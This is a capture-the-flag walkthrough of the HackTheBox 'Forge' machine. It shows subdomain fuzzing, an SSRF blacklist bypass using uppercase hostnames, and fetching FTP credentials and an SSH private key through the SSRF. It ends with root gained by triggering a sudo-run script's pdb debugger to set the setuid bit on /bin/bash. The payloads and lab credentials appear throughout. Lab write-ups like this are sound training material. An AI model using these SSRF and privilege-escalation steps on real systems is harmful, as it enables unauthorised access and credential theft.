Bismillah
I’ll cover Forge machine (medium) from HackTheBox this box based on Linux system. As usual challenge from HackTheBox machine is we must owned fully system (privelege escalation) for getting user.txt and root.txt.
This box is actually simple process on gaining system without any scripting or confusing exploit. FYI because of it’s simplicity, this box can get first blood in just a dozens of minutes LoL.
Let’s begin with enumeration using nmap for disover opening port on victim
sudo nmap -sCV -oN nmap/serv 10.10.11.111
explanation
We discovered 21(ftp) but filtered, 22(ssh), 80(http)
While visiting website this page just redirecting on forge.htb, so we add forge.htb on /etc/hosts file. Let’s fire up ffuf to fuzz on vhost machine’s
ffuf -c -u "http://forge.htb" -H "Host: FUZZ.forge.htb" -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 50 -r -fs 2050
We can able get admin.forge.htb subdomain and add on /etc/hosts again.
Admin page content:
Seems we don’t have permission on this site.
This page just content image gallery
visit upload image page:
when i try to uploading some image to get reverse shell,i just got like this:
so i try to entering http://127.0.0.1 to “upload from url” and it shown below:
hmmm… it’s interesting.. it’s look like Server Side Request Forgery (this is why box name Forge) so i just think if we’ve admin subdomain, so i decide to try bypassing blacklist for this form with my “Caps Lock”.
payload:
http://ADMIN.FORGE.HTB/announcements
And success :) we can open url from curl
As you can see there’s /announcements page and we can try to use this payload to get content
payload:
http://ADMIN.FORGE.HTB/announcements
we got some useful information from this page which content credentials and method for uploading an image
<li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
<li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
<li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<url>.</li>
Tried method to accessing ftp from ssrf by again submitting URL
payload:
http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@FORGE.HTB
drwxr-xr-x 3 1000 1000 4096 Aug 04 19:23 snap
-rw-r----- 1 0 1000 33 Jan 24 06:31 user.txt
it’s look like home directory of user :D so we can try to get ssh id_rsa in here
payload:
http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@FORGE.HTB/.ssh/id_rsa
and we got this to login on user ssh
chmod 600 id_rsa
ssh user@forge.htb -i id_rsa
Tried some command to check permission on sudo
user@forge:~$ sudo -l
Matching Defaults entries for user on forge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User user may run the following commands on forge:
(ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py
user@forge:~$
/opt/remote-manage.py content:
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb
port = random.randint(1025, 65535)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('127.0.0.1', port))
sock.listen(1)
print(f'Listening on localhost:{port}')
(clientsock, addr) = sock.accept()
clientsock.send(b'Enter the secret passsword: ')
if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
clientsock.send(b'Wrong password!\n')
else:
clientsock.send(b'Welcome admin!\n')
while True:
clientsock.send(b'\nWhat do you wanna do: \n')
clientsock.send(b'[1] View processes\n')
clientsock.send(b'[2] View free memory\n')
clientsock.send(b'[3] View listening sockets\n')
clientsock.send(b'[4] Quit\n')
option = int(clientsock.recv(1024).strip())
if option == 1:
clientsock.send(subprocess.getoutput('ps aux').encode())
elif option == 2:
clientsock.send(subprocess.getoutput('df').encode())
elif option == 3:
clientsock.send(subprocess.getoutput('ss -lnt').encode())
elif option == 4:
clientsock.send(b'Bye\n')
break
except Exception as e:
print(e)
pdb.post_mortem(e.__traceback__)
finally:
quit()
it’s just look like some python socket server with python debugger module.. so we run this script with sudo and connect it on another ssh session
user@forge:~$ sudo python3 /opt/remote-manage.py
Listening on localhost:63624
when we enter randomly character (or make this some exception) .. the debugger will be open on socket server
user@forge:~$ sudo python3 /opt/remote-manage.py
Listening on localhost:63624
invalid literal for int() with base 10: b'kjsfhaslaj'
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb)
so we can execute any python command in here
(Pdb) import os
(Pdb) os.system('chmod u+s /bin/bash')
0
(Pdb)
user@forge:~$ bash -p
bash-5.0# whoami
root
bash-5.0#